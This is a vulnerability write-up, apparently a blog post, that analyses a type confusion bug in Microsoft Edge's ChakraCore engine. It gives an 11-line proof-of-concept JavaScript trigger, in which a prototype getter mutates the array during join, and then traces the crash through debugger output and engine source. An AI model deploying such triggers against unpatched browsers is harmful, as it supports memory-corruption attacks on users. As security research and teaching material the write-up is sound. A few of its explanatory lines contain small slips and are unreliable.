type confusion vuln in Microsoft Edge

debug enviorment: Windows10 + Visual Studio 2015 + ChakraCore v1.2.0

POC(simplified)

1
2
3
4
5
6
7
8
9
10
11
var t = new Array(1);
t.length = 3;
var o = {};
Object.defineProperty(o,'1',{
get: function() {
t[0] = {};
return 0;
}
});
t.__proto__ = o;
var s = Array.prototype.join.call(t);

analysis

first we load the POC , and vs throw an exception, debugger stops at

1
2
ChakraCore.dll!Js::JavascriptArray::TemplatedGetItem
Assert(VirtualTableInfo<JavascriptNativeIntArray>::HasVirtualTable(pArr)|| VirtualTableInfo<CrossSiteObject<JavascriptNativeIntArray>>::HasVirtualTable(pArr));

let’s see the variables , we could find that pArr points to a JavascriptArray object , but its type is JavascriptNativeIntArray*

pic1

and the variable index=2 when this exception occurs

pic2

how could this happen? see the call stack

1
2
3
4
5
*1 ChakraCore.dll!Js::JavascriptArray::TemplatedGetItem<Js::JavascriptNativeIntArray>(Js::JavascriptNativeIntArray * pArr=0x00000235a05904e0, unsigned int index=2, void * * element=0x00000073c88fe208, Js::ScriptContext * scriptContext=0x0000022da03ef4f0)
2 ChakraCore.dll!Js::JavascriptArray::JoinArrayHelper<Js::JavascriptNativeIntArray>(Js::JavascriptNativeIntArray * arr=0x00000235a05904e0, Js::JavascriptString * separator=0x00000235a05800a0, Js::ScriptContext * scriptContext=0x0000022da03ef4f0)
3 ChakraCore.dll!Js::JavascriptArray::JoinHelper(void * thisArg=0x00000235a05904e0, Js::JavascriptString * separator=0x00000235a05800a0, Js::ScriptContext * scriptContext=0x0000022da03ef4f0)
4 ChakraCore.dll!Js::JavascriptArray::EntryJoin(Js::RecyclableObject * function=0x00000235a059b300, Js::CallInfo callInfo={...}, ...)
5 ChakraCore.dll!amd64_CallFunction()

first we need to analyze the logic of javascript’s execution

call Array.prototype.join=> get every element in array t , and connect them with separator => t[0]=1 => could not find t[1] => find t.prototype=o => t[0]={} => o[1]=0 => when it try to get t[2] , the exception occurs

then we start to debug the chakra sourcecode

get every element in array t

1
2
3
4
5
6
7
8
9
10
11
for (uint32 i = 1; i < arrLength; i++)
{
if (hasSeparator)
{
cs->Append(separator);
}
if (TemplatedGetItem(arr, i, &item, scriptContext))
{
cs->Append(JavascriptArray::JoinToString(item, scriptContext));
}
}

TemplatedGetItem calls JavascriptNativeIntArray::DirectGetItemAtFull function

1
2
3
4
5
6
7
8
9
10
BOOL JavascriptNativeIntArray::DirectGetItemAtFull(uint32 index, Var* outVal)
{
ScriptContext* requestContext = type->GetScriptContext();
if (JavascriptNativeIntArray::GetItem(this, index, outVal, requestContext))
{
return TRUE;
}
return JavascriptOperators::GetItem(this, this->GetPrototype(), index, outVal, requestContext);
}

we could see that if the function could not find the item, it would ask the array’s prototype for an answer

for function JavascriptOperators::GetItem

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
BOOL JavascriptOperators::GetItem(Var instance, RecyclableObject* propertyObject, uint32 index, Var* value, ScriptContext* requestContext)
{
RecyclableObject* object = propertyObject;
while (JavascriptOperators::GetTypeId(object) != TypeIds_Null)
{
if (object->GetItem(instance, index, value, requestContext))
{
return true;
}
if (object->SkipsPrototype())
{
break;
}
object = JavascriptOperators::GetPrototypeNoTrap(object);
}
*value = requestContext->GetMissingItemResult();
return false;
}

when index=0, it returns t[0]

when index=1, could not find t[0] so instance=t.protoype

then it calls DynamicObject::GetItem

1
2
3
4
5
6
this->GetDynamicType()
GetTypeHandler()
DynamicTypeHandler::GetItem()
DynamicObject::GetObjectArrayItem
ES5Array::GetItem
BOOL ES5ArrayTypeHandlerBase

when it try to find the element in t.prototype[1] => o[1]

the getter function would be called

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
BOOL ES5ArrayTypeHandlerBase<T>::GetItem(ES5Array* arr, DynamicObject* instance, Var originalInstance, uint32 index, Var* value, ScriptContext* requestContext)
{
if (arr->DirectGetItemAt<Var>(index, value))
{
return true;
}
IndexPropertyDescriptor* descriptor;
if (indexPropertyMap->TryGetReference(index, &descriptor))
{
if (descriptor->Attributes & PropertyDeleted)
{
*value = requestContext->GetMissingItemResult();
return false;
}
if (descriptor->Getter)
{
RecyclableObject* func = RecyclableObject::FromVar(descriptor->Getter);
*value = Js::JavascriptOperators::CallGetter(func, originalInstance, requestContext);
}
else
{
*value = requestContext->GetMissingItemResult();
}
return true;
}
*value = requestContext->GetMissingItemResult();
return false;
}

the following logic shows how it call the getter function

1
2
3
4
5
return threadContext->ExecuteImplicitCall(function, ImplicitCall_Accessor, [=]() -> Js::Var
__inline Js::Var ExecuteImplicitCall
Js::Var result = implicitCall();
Var result = marshalledFunction->GetEntryPoint()(function, CallInfo(flags, 1), thisVar);
result = CrossSite::MarshalVar(requestContext, result);

before execute the getter function

pic3

after execute the getter function

pic4

finally , t[0]={} , so that its type changed from JavascriptNativeArray to JavascriptArray , caused the type confusion vuln

reference

https://bugs.chromium.org/p/project-zero/issues/detail?id=919